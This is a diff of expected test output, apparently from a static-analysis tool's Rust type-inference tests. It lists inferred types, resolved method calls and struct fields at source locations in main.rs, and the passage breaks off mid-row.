main.rs:651:5:652:19 | S | -| main.rs:675:18:675:22 | S(...) | T | main.rs:654:5:655:14 | S2 | -| main.rs:675:20:675:21 | S2 | | main.rs:654:5:655:14 | S2 | -| main.rs:677:26:677:27 | x2 | | main.rs:651:5:652:19 | S | -| main.rs:677:26:677:27 | x2 | T | main.rs:654:5:655:14 | S2 | -| main.rs:677:26:677:32 | x2.m2() | | file://:0:0:0:0 | & | -| main.rs:677:26:677:32 | x2.m2() | &T | main.rs:654:5:655:14 | S2 | -| main.rs:678:26:678:27 | x2 | | main.rs:651:5:652:19 | S | -| main.rs:678:26:678:27 | x2 | T | main.rs:654:5:655:14 | S2 | -| main.rs:678:26:678:32 | x2.m3() | | file://:0:0:0:0 | & | -| main.rs:678:26:678:32 | x2.m3() | &T | main.rs:654:5:655:14 | S2 | -| main.rs:680:13:680:14 | x3 | | main.rs:651:5:652:19 | S | -| main.rs:680:13:680:14 | x3 | T | main.rs:654:5:655:14 | S2 | -| main.rs:680:18:680:22 | S(...) | | main.rs:651:5:652:19 | S | -| main.rs:680:18:680:22 | S(...) | T | main.rs:654:5:655:14 | S2 | -| main.rs:680:20:680:21 | S2 | | main.rs:654:5:655:14 | S2 | -| main.rs:682:26:682:41 | ...::m2(...) | | file://:0:0:0:0 | & | -| main.rs:682:26:682:41 | ...::m2(...) | &T | main.rs:654:5:655:14 | S2 | -| main.rs:682:38:682:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:682:38:682:40 | &x3 | &T | main.rs:651:5:652:19 | S | -| main.rs:682:38:682:40 | &x3 | &T.T | main.rs:654:5:655:14 | S2 | -| main.rs:682:39:682:40 | x3 | | main.rs:651:5:652:19 | S | -| main.rs:682:39:682:40 | x3 | T | main.rs:654:5:655:14 | S2 | -| main.rs:683:26:683:41 | ...::m3(...) | | file://:0:0:0:0 | & | -| main.rs:683:26:683:41 | ...::m3(...) | &T | main.rs:654:5:655:14 | S2 | -| main.rs:683:38:683:40 | &x3 | | file://:0:0:0:0 | & | -| main.rs:683:38:683:40 | &x3 | &T | main.rs:651:5:652:19 | S | -| main.rs:683:38:683:40 | &x3 | &T.T | main.rs:654:5:655:14 | S2 | -| main.rs:683:39:683:40 | x3 | | main.rs:651:5:652:19 | S | -| main.rs:683:39:683:40 | x3 | T | main.rs:654:5:655:14 | S2 | -| main.rs:685:13:685:14 | x4 | | file://:0:0:0:0 | & | -| main.rs:685:13:685:14 | x4 | &T | main.rs:651:5:652:19 | S | -| main.rs:685:13:685:14 | x4 | &T.T | main.rs:654:5:655:14 | S2 | -| main.rs:685:18:685:23 | &... | | file://:0:0:0:0 | & | -| main.rs:685:18:685:23 | &... | &T | main.rs:651:5:652:19 | S | -| main.rs:685:18:685:23 | &... | &T.T | main.rs:654:5:655:14 | S2 | -| main.rs:685:19:685:23 | S(...) | | main.rs:651:5:652:19 | S | -| main.rs:685:19:685:23 | S(...) | T | main.rs:654:5:655:14 | S2 | -| main.rs:685:21:685:22 | S2 | | main.rs:654:5:655:14 | S2 | -| main.rs:687:26:687:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:687:26:687:27 | x4 | &T | main.rs:651:5:652:19 | S | -| main.rs:687:26:687:27 | x4 | &T.T | main.rs:654:5:655:14 | S2 | -| main.rs:687:26:687:32 | x4.m2() | | file://:0:0:0:0 | & | -| main.rs:687:26:687:32 | x4.m2() | &T | main.rs:654:5:655:14 | S2 | -| main.rs:688:26:688:27 | x4 | | file://:0:0:0:0 | & | -| main.rs:688:26:688:27 | x4 | &T | main.rs:651:5:652:19 | S | -| main.rs:688:26:688:27 | x4 | &T.T | main.rs:654:5:655:14 | S2 | -| main.rs:688:26:688:32 | x4.m3() | | file://:0:0:0:0 | & | -| main.rs:688:26:688:32 | x4.m3() | &T | main.rs:654:5:655:14 | S2 | -| main.rs:690:13:690:14 | x5 | | file://:0:0:0:0 | & | -| main.rs:690:13:690:14 | x5 | &T | main.rs:651:5:652:19 | S | -| main.rs:690:13:690:14 | x5 | &T.T | main.rs:654:5:655:14 | S2 | -| main.rs:690:18:690:23 | &... | | file://:0:0:0:0 | & | -| main.rs:690:18:690:23 | &... | &T | main.rs:651:5:652:19 | S | -| main.rs:690:18:690:23 | &... | &T.T | main.rs:654:5:655:14 | S2 | -| main.rs:690:19:690:23 | S(...) | | main.rs:651:5:652:19 | S | -| main.rs:690:19:690:23 | S(...) | T | main.rs:654:5:655:14 | S2 | -| main.rs:690:21:690:22 | S2 | | main.rs:654:5:655:14 | S2 | -| main.rs:692:26:692:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:692:26:692:27 | x5 | &T | main.rs:651:5:652:19 | S | -| main.rs:692:26:692:27 | x5 | &T.T | main.rs:654:5:655:14 | S2 | -| main.rs:692:26:692:32 | x5.m1() | | main.rs:654:5:655:14 | S2 | -| main.rs:693:26:693:27 | x5 | | file://:0:0:0:0 | & | -| main.rs:693:26:693:27 | x5 | &T | main.rs:651:5:652:19 | S | -| main.rs:693:26:693:27 | x5 | &T.T | main.rs:654:5:655:14 | S2 | -| main.rs:693:26:693:29 | x5.0 | | main.rs:654:5:655:14 | S2 | -| main.rs:695:13:695:14 | x6 | | file://:0:0:0:0 | & | -| main.rs:695:13:695:14 | x6 | &T | main.rs:651:5:652:19 | S | -| main.rs:695:13:695:14 | x6 | &T.T | main.rs:654:5:655:14 | S2 | -| main.rs:695:18:695:23 | &... | | file://:0:0:0:0 | & | -| main.rs:695:18:695:23 | &... | &T | main.rs:651:5:652:19 | S | -| main.rs:695:18:695:23 | &... | &T.T | main.rs:654:5:655:14 | S2 | -| main.rs:695:19:695:23 | S(...) | | main.rs:651:5:652:19 | S | -| main.rs:695:19:695:23 | S(...) | T | main.rs:654:5:655:14 | S2 | -| main.rs:695:21:695:22 | S2 | | main.rs:654:5:655:14 | S2 | -| main.rs:697:26:697:30 | (...) | | main.rs:651:5:652:19 | S | -| main.rs:697:26:697:30 | (...) | T | main.rs:654:5:655:14 | S2 | -| main.rs:697:26:697:35 | ... .m1() | | main.rs:654:5:655:14 | S2 | -| main.rs:697:27:697:29 | * ... | | main.rs:651:5:652:19 | S | -| main.rs:697:27:697:29 | * ... | T | main.rs:654:5:655:14 | S2 | -| main.rs:697:28:697:29 | x6 | | file://:0:0:0:0 | & | -| main.rs:697:28:697:29 | x6 | &T | main.rs:651:5:652:19 | S | -| main.rs:697:28:697:29 | x6 | &T.T | main.rs:654:5:655:14 | S2 | -| main.rs:703:16:703:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:703:16:703:20 | SelfParam | &T | main.rs:702:5:708:5 | Self [trait MyTrait] | -| main.rs:705:16:705:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:705:16:705:20 | SelfParam | &T | main.rs:702:5:708:5 | Self [trait MyTrait] | -| main.rs:705:32:707:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:705:32:707:9 | { ... } | &T | main.rs:702:5:708:5 | Self [trait MyTrait] | -| main.rs:706:13:706:16 | self | | file://:0:0:0:0 | & | -| main.rs:706:13:706:16 | self | &T | main.rs:702:5:708:5 | Self [trait MyTrait] | -| main.rs:706:13:706:22 | self.foo() | | file://:0:0:0:0 | & | -| main.rs:706:13:706:22 | self.foo() | &T | main.rs:702:5:708:5 | Self [trait MyTrait] | -| main.rs:713:16:713:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:713:16:713:20 | SelfParam | &T | main.rs:710:5:710:20 | MyStruct | -| main.rs:713:36:715:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:713:36:715:9 | { ... } | &T | main.rs:710:5:710:20 | MyStruct | -| main.rs:714:13:714:16 | self | | file://:0:0:0:0 | & | -| main.rs:714:13:714:16 | self | &T | main.rs:710:5:710:20 | MyStruct | -| main.rs:719:13:719:13 | x | | main.rs:710:5:710:20 | MyStruct | -| main.rs:719:17:719:24 | MyStruct | | main.rs:710:5:710:20 | MyStruct | -| main.rs:720:9:720:9 | x | | main.rs:710:5:710:20 | MyStruct | -| main.rs:720:9:720:15 | x.bar() | | file://:0:0:0:0 | & | -| main.rs:720:9:720:15 | x.bar() | &T | main.rs:710:5:710:20 | MyStruct | -| main.rs:730:16:730:20 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:730:16:730:20 | SelfParam | &T | main.rs:727:5:727:26 | MyStruct | -| main.rs:730:16:730:20 | SelfParam | &T.T | main.rs:729:10:729:10 | T | -| main.rs:730:32:732:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:730:32:732:9 | { ... } | &T | main.rs:727:5:727:26 | MyStruct | -| main.rs:730:32:732:9 | { ... } | &T.T | main.rs:729:10:729:10 | T | -| main.rs:731:13:731:16 | self | | file://:0:0:0:0 | & | -| main.rs:731:13:731:16 | self | &T | main.rs:727:5:727:26 | MyStruct | -| main.rs:731:13:731:16 | self | &T.T | main.rs:729:10:729:10 | T | -| main.rs:736:13:736:13 | x | | main.rs:727:5:727:26 | MyStruct | -| main.rs:736:13:736:13 | x | T | main.rs:725:5:725:13 | S | -| main.rs:736:17:736:27 | MyStruct(...) | | main.rs:727:5:727:26 | MyStruct | -| main.rs:736:17:736:27 | MyStruct(...) | T | main.rs:725:5:725:13 | S | -| main.rs:736:26:736:26 | S | | main.rs:725:5:725:13 | S | -| main.rs:737:9:737:9 | x | | main.rs:727:5:727:26 | MyStruct | -| main.rs:737:9:737:9 | x | T | main.rs:725:5:725:13 | S | -| main.rs:737:9:737:15 | x.foo() | | file://:0:0:0:0 | & | -| main.rs:737:9:737:15 | x.foo() | &T | main.rs:727:5:727:26 | MyStruct | -| main.rs:737:9:737:15 | x.foo() | &T.T | main.rs:725:5:725:13 | S | -| main.rs:745:15:745:19 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:745:15:745:19 | SelfParam | &T | main.rs:742:5:742:13 | S | -| main.rs:745:31:747:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:745:31:747:9 | { ... } | &T | main.rs:742:5:742:13 | S | -| main.rs:746:13:746:19 | &... | | file://:0:0:0:0 | & | -| main.rs:746:13:746:19 | &... | &T | main.rs:742:5:742:13 | S | -| main.rs:746:14:746:19 | &... | | file://:0:0:0:0 | & | -| main.rs:746:14:746:19 | &... | &T | main.rs:742:5:742:13 | S | -| main.rs:746:15:746:19 | &self | | file://:0:0:0:0 | & | -| main.rs:746:15:746:19 | &self | &T | main.rs:742:5:742:13 | S | -| main.rs:746:16:746:19 | self | | file://:0:0:0:0 | & | -| main.rs:746:16:746:19 | self | &T | main.rs:742:5:742:13 | S | -| main.rs:749:15:749:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:749:15:749:25 | SelfParam | &T | main.rs:742:5:742:13 | S | -| main.rs:749:37:751:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:749:37:751:9 | { ... } | &T | main.rs:742:5:742:13 | S | -| main.rs:750:13:750:19 | &... | | file://:0:0:0:0 | & | -| main.rs:750:13:750:19 | &... | &T | main.rs:742:5:742:13 | S | -| main.rs:750:14:750:19 | &... | | file://:0:0:0:0 | & | -| main.rs:750:14:750:19 | &... | &T | main.rs:742:5:742:13 | S | -| main.rs:750:15:750:19 | &self | | file://:0:0:0:0 | & | -| main.rs:750:15:750:19 | &self | &T | main.rs:742:5:742:13 | S | -| main.rs:750:16:750:19 | self | | file://:0:0:0:0 | & | -| main.rs:750:16:750:19 | self | &T | main.rs:742:5:742:13 | S | -| main.rs:753:15:753:15 | x | | file://:0:0:0:0 | & | -| main.rs:753:15:753:15 | x | &T | main.rs:742:5:742:13 | S | -| main.rs:753:34:755:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:753:34:755:9 | { ... } | &T | main.rs:742:5:742:13 | S | -| main.rs:754:13:754:13 | x | | file://:0:0:0:0 | & | -| main.rs:754:13:754:13 | x | &T | main.rs:742:5:742:13 | S | -| main.rs:757:15:757:15 | x | | file://:0:0:0:0 | & | -| main.rs:757:15:757:15 | x | &T | main.rs:742:5:742:13 | S | -| main.rs:757:34:759:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:757:34:759:9 | { ... } | &T | main.rs:742:5:742:13 | S | -| main.rs:758:13:758:16 | &... | | file://:0:0:0:0 | & | -| main.rs:758:13:758:16 | &... | &T | main.rs:742:5:742:13 | S | -| main.rs:758:14:758:16 | &... | | file://:0:0:0:0 | & | -| main.rs:758:14:758:16 | &... | &T | main.rs:742:5:742:13 | S | -| main.rs:758:15:758:16 | &x | | file://:0:0:0:0 | & | -| main.rs:758:15:758:16 | &x | &T | main.rs:742:5:742:13 | S | -| main.rs:758:16:758:16 | x | | file://:0:0:0:0 | & | -| main.rs:758:16:758:16 | x | &T | main.rs:742:5:742:13 | S | -| main.rs:763:13:763:13 | x | | main.rs:742:5:742:13 | S | -| main.rs:763:17:763:20 | S {...} | | main.rs:742:5:742:13 | S | -| main.rs:764:9:764:9 | x | | main.rs:742:5:742:13 | S | -| main.rs:764:9:764:14 | x.f1() | | file://:0:0:0:0 | & | -| main.rs:764:9:764:14 | x.f1() | &T | main.rs:742:5:742:13 | S | -| main.rs:765:9:765:9 | x | | main.rs:742:5:742:13 | S | -| main.rs:765:9:765:14 | x.f2() | | file://:0:0:0:0 | & | -| main.rs:765:9:765:14 | x.f2() | &T | main.rs:742:5:742:13 | S | -| main.rs:766:9:766:17 | ...::f3(...) | | file://:0:0:0:0 | & | -| main.rs:766:9:766:17 | ...::f3(...) | &T | main.rs:742:5:742:13 | S | -| main.rs:766:15:766:16 | &x | | file://:0:0:0:0 | & | -| main.rs:766:15:766:16 | &x | &T | main.rs:742:5:742:13 | S | -| main.rs:766:16:766:16 | x | | main.rs:742:5:742:13 | S | -| main.rs:772:5:772:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:773:5:773:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:773:20:773:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:773:41:773:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -resolveMethodCallExpr -| loop/main.rs:12:9:12:18 | self.foo() | loop/main.rs:7:5:7:19 | fn foo | -| main.rs:88:9:88:14 | x.m1() | main.rs:70:9:72:9 | fn m1 | -| main.rs:89:9:89:14 | y.m2() | main.rs:74:9:76:9 | fn m2 | -| main.rs:136:26:136:31 | x.m2() | main.rs:117:9:119:9 | fn m2 | -| main.rs:137:26:137:31 | y.m2() | main.rs:117:9:119:9 | fn m2 | -| main.rs:164:9:164:14 | x.m1() | main.rs:153:9:153:25 | fn m1 | -| main.rs:215:18:215:27 | x.method() | main.rs:210:9:210:30 | fn method | -| main.rs:221:18:221:27 | x.method() | main.rs:210:9:210:30 | fn method | -| main.rs:226:17:226:26 | x.method() | main.rs:206:9:206:30 | fn method | -| main.rs:231:17:231:26 | x.method() | main.rs:206:9:206:30 | fn method | -| main.rs:243:18:243:24 | x.fst() | main.rs:236:9:236:27 | fn fst | -| main.rs:244:18:244:24 | y.snd() | main.rs:238:9:238:27 | fn snd | -| main.rs:250:18:250:24 | x.fst() | main.rs:236:9:236:27 | fn fst | -| main.rs:251:18:251:24 | y.snd() | main.rs:238:9:238:27 | fn snd | -| main.rs:274:13:274:21 | self.m1() | main.rs:268:9:268:25 | fn m1 | -| main.rs:280:9:280:14 | x.m1() | main.rs:268:9:268:25 | fn m1 | -| main.rs:285:9:285:16 | ... .m1() | main.rs:268:9:268:25 | fn m1 | -| main.rs:298:26:298:31 | x.m1() | main.rs:289:9:291:9 | fn m1 | -| main.rs:299:26:299:31 | y.m1() | main.rs:289:9:291:9 | fn m1 | -| main.rs:304:26:304:31 | x.m2() | main.rs:270:9:275:9 | fn m2 | -| main.rs:305:26:305:31 | y.m2() | main.rs:270:9:275:9 | fn m2 | -| main.rs:353:26:353:31 | x.m1() | main.rs:346:9:348:9 | fn m1 | -| main.rs:356:26:356:31 | x.m2() | main.rs:331:9:337:9 | fn m2 | -| main.rs:385:26:385:31 | x.m1() | main.rs:373:9:378:9 | fn m1 | -| main.rs:386:26:386:31 | y.m1() | main.rs:373:9:378:9 | fn m1 | -| main.rs:416:17:416:25 | self.m1() | main.rs:407:9:407:27 | fn m1 | -| main.rs:429:17:429:25 | self.m2() | main.rs:411:9:420:9 | fn m2 | -| main.rs:458:26:458:31 | x.m1() | main.rs:437:9:439:9 | fn m1 | -| main.rs:459:26:459:31 | y.m1() | main.rs:437:9:439:9 | fn m1 | -| main.rs:464:26:464:31 | x.m2() | main.rs:411:9:420:9 | fn m2 | -| main.rs:465:26:465:31 | y.m2() | main.rs:411:9:420:9 | fn m2 | -| main.rs:470:26:470:31 | x.m3() | main.rs:424:9:433:9 | fn m3 | -| main.rs:471:26:471:31 | y.m3() | main.rs:424:9:433:9 | fn m3 | -| main.rs:578:13:578:27 | self.set(...) | main.rs:575:9:575:36 | fn set | -| main.rs:609:9:609:17 | x2.set(...) | main.rs:583:9:583:38 | fn set | -| main.rs:613:9:613:22 | x3.call_set(...) | main.rs:577:9:579:9 | fn call_set | -| main.rs:673:26:673:32 | x1.m1() | main.rs:658:9:660:9 | fn m1 | -| main.rs:677:26:677:32 | x2.m2() | main.rs:662:9:664:9 | fn m2 | -| main.rs:678:26:678:32 | x2.m3() | main.rs:666:9:668:9 | fn m3 | -| main.rs:687:26:687:32 | x4.m2() | main.rs:662:9:664:9 | fn m2 | -| main.rs:688:26:688:32 | x4.m3() | main.rs:666:9:668:9 | fn m3 | -| main.rs:692:26:692:32 | x5.m1() | main.rs:658:9:660:9 | fn m1 | -| main.rs:697:26:697:35 | ... .m1() | main.rs:658:9:660:9 | fn m1 | -| main.rs:706:13:706:22 | self.foo() | main.rs:703:9:703:31 | fn foo | -| main.rs:720:9:720:15 | x.bar() | main.rs:705:9:707:9 | fn bar | -| main.rs:737:9:737:15 | x.foo() | main.rs:730:9:732:9 | fn foo | -| main.rs:764:9:764:14 | x.f1() | main.rs:745:9:747:9 | fn f1 | -| main.rs:765:9:765:14 | x.f2() | main.rs:749:9:751:9 | fn f2 | -resolveFieldExpr -| main.rs:27:26:27:28 | x.a | main.rs:7:9:7:12 | StructField | -| main.rs:33:26:33:28 | x.a | main.rs:18:9:18:12 | StructField | -| main.rs:37:26:37:28 | x.a | main.rs:18:9:18:12 | StructField | -| main.rs:44:26:44:28 | x.a | main.rs:22:9:22:22 | StructField | -| main.rs:50:26:50:28 | x.a | main.rs:18:9:18:12 | StructField | -| main.rs:56:30:56:32 | x.a | main.rs:18:9:18:12 | StructField | -| main.rs:106:13:106:18 | self.a | main.rs:96:9:96:12 | StructField | -| main.rs:112:23:112:28 | self.a | main.rs:96:9:96:12 | StructField | -| main.rs:118:13:118:18 | self.a | main.rs:96:9:96:12 | StructField | -| main.rs:127:26:127:28 | x.a | main.rs:96:9:96:12 | StructField | -| main.rs:128:26:128:28 | y.a | main.rs:96:9:96:12 | StructField | -| main.rs:169:13:169:18 | self.a | main.rs:144:9:144:12 | StructField | -| main.rs:175:23:175:28 | self.a | main.rs:144:9:144:12 | StructField | -| main.rs:285:9:285:11 | x.a | main.rs:259:9:259:12 | StructField | -| main.rs:290:13:290:18 | self.a | main.rs:259:9:259:12 | StructField | -| main.rs:429:17:429:27 | ... .a | main.rs:393:9:393:12 | StructField | -| main.rs:431:17:431:32 | ... .a | main.rs:393:9:393:12 | StructField | -| main.rs:438:13:438:18 | self.a | main.rs:393:9:393:12 | StructField | -| main.rs:446:26:446:31 | self.a | main.rs:398:9:398:12 | StructField | -| main.rs:659:13:659:18 | self.0 | main.rs:652:17:652:17 | TupleField | -| main.rs:663:14:663:19 | self.0 | main.rs:652:17:652:17 | TupleField | -| main.rs:667:14:667:19 | self.0 | main.rs:652:17:652:17 | TupleField | -| main.rs:693:26:693:29 | x5.0 | main.rs:652:17:652:17 | TupleField | +| main.rs:106:15:106:18 | SelfParam | | main.rs:94:5:97:5 | MyThing | +| main.rs:106:15:106:18 | SelfParam | A | main.rs:99:5:100:14 | S1 | +| main.rs:106:27:108:9 | { ... } | | main.rs:99:5:100:14 | S1 | +| main.rs:107:13:107:16 | self | | main.rs:94:5:97:5 | MyThing | +| main.rs:107:13:107:16 | self | A | main.rs:99:5:100:14 | S1 | +| main.rs:107:13:107:18 | self.a | | main.rs:99:5:100:14 | S1 | +| main.rs:113:15:113:18 | SelfParam | | main.rs:94:5:97:5 | MyThing | +| main.rs:113:15:113:18 | SelfParam | A | main.rs:101:5:102:14 | S2 | +| main.rs:113:29:115:9 | { ... } | | main.rs:94:5:97:5 | MyThing | +| main.rs:113:29:115:9 | { ... } | A | main.rs:101:5:102:14 | S2 | +| main.rs:114:13:114:30 | Self {...} | | main.rs:94:5:97:5 | MyThing | +| main.rs:114:13:114:30 | Self {...} | A | main.rs:101:5:102:14 | S2 | +| main.rs:114:23:114:26 | self | | main.rs:94:5:97:5 | MyThing | +| main.rs:114:23:114:26 | self | A | main.rs:101:5:102:14 | S2 | +| main.rs:114:23:114:28 | self.a | | main.rs:101:5:102:14 | S2 | +| main.rs:119:15:119:18 | SelfParam | | main.rs:94:5:97:5 | MyThing | +| main.rs:119:15:119:18 | SelfParam | A | main.rs:118:10:118:10 | T | +| main.rs:119:26:121:9 | { ... } | | main.rs:118:10:118:10 | T | +| main.rs:120:13:120:16 | self | | main.rs:94:5:97:5 | MyThing | +| main.rs:120:13:120:16 | self | A | main.rs:118:10:118:10 | T | +| main.rs:120:13:120:18 | self.a | | main.rs:118:10:118:10 | T | +| main.rs:125:13:125:13 | x | | main.rs:94:5:97:5 | MyThing | +| main.rs:125:13:125:13 | x | A | main.rs:99:5:100:14 | S1 | +| main.rs:125:17:125:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | +| main.rs:125:17:125:33 | MyThing {...} | A | main.rs:99:5:100:14 | S1 | +| main.rs:125:30:125:31 | S1 | | main.rs:99:5:100:14 | S1 | +| main.rs:126:13:126:13 | y | | main.rs:94:5:97:5 | MyThing | +| main.rs:126:13:126:13 | y | A | main.rs:101:5:102:14 | S2 | +| main.rs:126:17:126:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | +| main.rs:126:17:126:33 | MyThing {...} | A | main.rs:101:5:102:14 | S2 | +| main.rs:126:30:126:31 | S2 | | main.rs:101:5:102:14 | S2 | +| main.rs:129:26:129:26 | x | | main.rs:94:5:97:5 | MyThing | +| main.rs:129:26:129:26 | x | A | main.rs:99:5:100:14 | S1 | +| main.rs:129:26:129:28 | x.a | | main.rs:99:5:100:14 | S1 | +| main.rs:130:26:130:26 | y | | main.rs:94:5:97:5 | MyThing | +| main.rs:130:26:130:26 | y | A | main.rs:101:5:102:14 | S2 | +| main.rs:130:26:130:28 | y.a | | main.rs:101:5:102:14 | S2 | +| main.rs:132:26:132:26 | x | | main.rs:94:5:97:5 | MyThing | +| main.rs:132:26:132:26 | x | A | main.rs:99:5:100:14 | S1 | +| main.rs:133:26:133:26 | y | | main.rs:94:5:97:5 | MyThing | +| main.rs:133:26:133:26 | y | A | main.rs:101:5:102:14 | S2 | +| main.rs:135:13:135:13 | x | | main.rs:94:5:97:5 | MyThing | +| main.rs:135:13:135:13 | x | A | main.rs:99:5:100:14 | S1 | +| main.rs:135:17:135:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | +| main.rs:135:17:135:33 | MyThing {...} | A | main.rs:99:5:100:14 | S1 | +| main.rs:135:30:135:31 | S1 | | main.rs:99:5:100:14 | S1 | +| main.rs:136:13:136:13 | y | | main.rs:94:5:97:5 | MyThing | +| main.rs:136:13:136:13 | y | A | main.rs:101:5:102:14 | S2 | +| main.rs:136:17:136:33 | MyThing {...} | | main.rs:94:5:97:5 | MyThing | +| main.rs:136:17:136:33 | MyThing {...} | A | main.rs:101:5:102:14 | S2 | +| main.rs:136:30:136:31 | S2 | | main.rs:101:5:102:14 | S2 | +| main.rs:138:26:138:26 | x | | main.rs:94:5:97:5 | MyThing | +| main.rs:138:26:138:26 | x | A | main.rs:99:5:100:14 | S1 | +| main.rs:138:26:138:31 | x.m2() | | main.rs:99:5:100:14 | S1 | +| main.rs:139:26:139:26 | y | | main.rs:94:5:97:5 | MyThing | +| main.rs:139:26:139:26 | y | A | main.rs:101:5:102:14 | S2 | +| main.rs:139:26:139:31 | y.m2() | | main.rs:101:5:102:14 | S2 | +| main.rs:155:15:155:18 | SelfParam | | main.rs:154:5:163:5 | Self [trait MyTrait] | +| main.rs:157:15:157:18 | SelfParam | | main.rs:154:5:163:5 | Self [trait MyTrait] | +| main.rs:160:9:162:9 | { ... } | | main.rs:154:5:163:5 | Self [trait MyTrait] | +| main.rs:161:13:161:16 | self | | main.rs:154:5:163:5 | Self [trait MyTrait] | +| main.rs:165:43:165:43 | x | | main.rs:165:26:165:40 | T2 | +| main.rs:165:56:167:5 | { ... } | | main.rs:165:22:165:23 | T1 | +| main.rs:166:9:166:9 | x | | main.rs:165:26:165:40 | T2 | +| main.rs:166:9:166:14 | x.m1() | | main.rs:165:22:165:23 | T1 | +| main.rs:171:15:171:18 | SelfParam | | main.rs:144:5:147:5 | MyThing | +| main.rs:171:15:171:18 | SelfParam | A | main.rs:149:5:150:14 | S1 | +| main.rs:171:27:173:9 | { ... } | | main.rs:149:5:150:14 | S1 | +| main.rs:172:13:172:16 | self | | main.rs:144:5:147:5 | MyThing | +| main.rs:172:13:172:16 | self | A | main.rs:149:5:150:14 | S1 | +| main.rs:172:13:172:18 | self.a | | main.rs:149:5:150:14 | S1 | +| main.rs:178:15:178:18 | SelfParam | | main.rs:144:5:147:5 | MyThing | +| main.rs:178:15:178:18 | SelfParam | A | main.rs:151:5:152:14 | S2 | +| main.rs:178:29:180:9 | { ... } | | main.rs:144:5:147:5 | MyThing | +| main.rs:178:29:180:9 | { ... } | A | main.rs:151:5:152:14 | S2 | +| main.rs:179:13:179:30 | Self {...} | | main.rs:144:5:147:5 | MyThing | +| main.rs:179:13:179:30 | Self {...} | A | main.rs:151:5:152:14 | S2 | +| main.rs:179:23:179:26 | self | | main.rs:144:5:147:5 | MyThing | +| main.rs:179:23:179:26 | self | A | main.rs:151:5:152:14 | S2 | +| main.rs:179:23:179:28 | self.a | | main.rs:151:5:152:14 | S2 | +| main.rs:184:13:184:13 | x | | main.rs:144:5:147:5 | MyThing | +| main.rs:184:13:184:13 | x | A | main.rs:149:5:150:14 | S1 | +| main.rs:184:17:184:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | +| main.rs:184:17:184:33 | MyThing {...} | A | main.rs:149:5:150:14 | S1 | +| main.rs:184:30:184:31 | S1 | | main.rs:149:5:150:14 | S1 | +| main.rs:185:13:185:13 | y | | main.rs:144:5:147:5 | MyThing | +| main.rs:185:13:185:13 | y | A | main.rs:151:5:152:14 | S2 | +| main.rs:185:17:185:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | +| main.rs:185:17:185:33 | MyThing {...} | A | main.rs:151:5:152:14 | S2 | +| main.rs:185:30:185:31 | S2 | | main.rs:151:5:152:14 | S2 | +| main.rs:187:26:187:26 | x | | main.rs:144:5:147:5 | MyThing | +| main.rs:187:26:187:26 | x | A | main.rs:149:5:150:14 | S1 | +| main.rs:188:26:188:26 | y | | main.rs:144:5:147:5 | MyThing | +| main.rs:188:26:188:26 | y | A | main.rs:151:5:152:14 | S2 | +| main.rs:190:13:190:13 | x | | main.rs:144:5:147:5 | MyThing | +| main.rs:190:13:190:13 | x | A | main.rs:149:5:150:14 | S1 | +| main.rs:190:17:190:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | +| main.rs:190:17:190:33 | MyThing {...} | A | main.rs:149:5:150:14 | S1 | +| main.rs:190:30:190:31 | S1 | | main.rs:149:5:150:14 | S1 | +| main.rs:191:13:191:13 | y | | main.rs:144:5:147:5 | MyThing | +| main.rs:191:13:191:13 | y | A | main.rs:151:5:152:14 | S2 | +| main.rs:191:17:191:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | +| main.rs:191:17:191:33 | MyThing {...} | A | main.rs:151:5:152:14 | S2 | +| main.rs:191:30:191:31 | S2 | | main.rs:151:5:152:14 | S2 | +| main.rs:193:40:193:40 | x | | main.rs:144:5:147:5 | MyThing | +| main.rs:193:40:193:40 | x | A | main.rs:149:5:150:14 | S1 | +| main.rs:194:40:194:40 | y | | main.rs:144:5:147:5 | MyThing | +| main.rs:194:40:194:40 | y | A | main.rs:151:5:152:14 | S2 | +| main.rs:211:19:211:22 | SelfParam | | main.rs:209:5:212:5 | Self [trait FirstTrait] | +| main.rs:216:19:216:22 | SelfParam | | main.rs:214:5:217:5 | Self [trait SecondTrait] | +| main.rs:219:64:219:64 | x | | main.rs:219:45:219:61 | T | +| main.rs:221:13:221:14 | s1 | | main.rs:219:35:219:42 | I | +| main.rs:221:18:221:18 | x | | main.rs:219:45:219:61 | T | +| main.rs:221:18:221:27 | x.method() | | main.rs:219:35:219:42 | I | +| main.rs:222:26:222:27 | s1 | | main.rs:219:35:219:42 | I | +| main.rs:225:65:225:65 | x | | main.rs:225:46:225:62 | T | +| main.rs:227:13:227:14 | s2 | | main.rs:225:36:225:43 | I | +| main.rs:227:18:227:18 | x | | main.rs:225:46:225:62 | T | +| main.rs:227:18:227:27 | x.method() | | main.rs:225:36:225:43 | I | +| main.rs:228:26:228:27 | s2 | | main.rs:225:36:225:43 | I | +| main.rs:231:49:231:49 | x | | main.rs:231:30:231:46 | T | +| main.rs:232:13:232:13 | s | | main.rs:201:5:202:14 | S1 | +| main.rs:232:17:232:17 | x | | main.rs:231:30:231:46 | T | +| main.rs:232:17:232:26 | x.method() | | main.rs:201:5:202:14 | S1 | +| main.rs:233:26:233:26 | s | | main.rs:201:5:202:14 | S1 | +| main.rs:236:53:236:53 | x | | 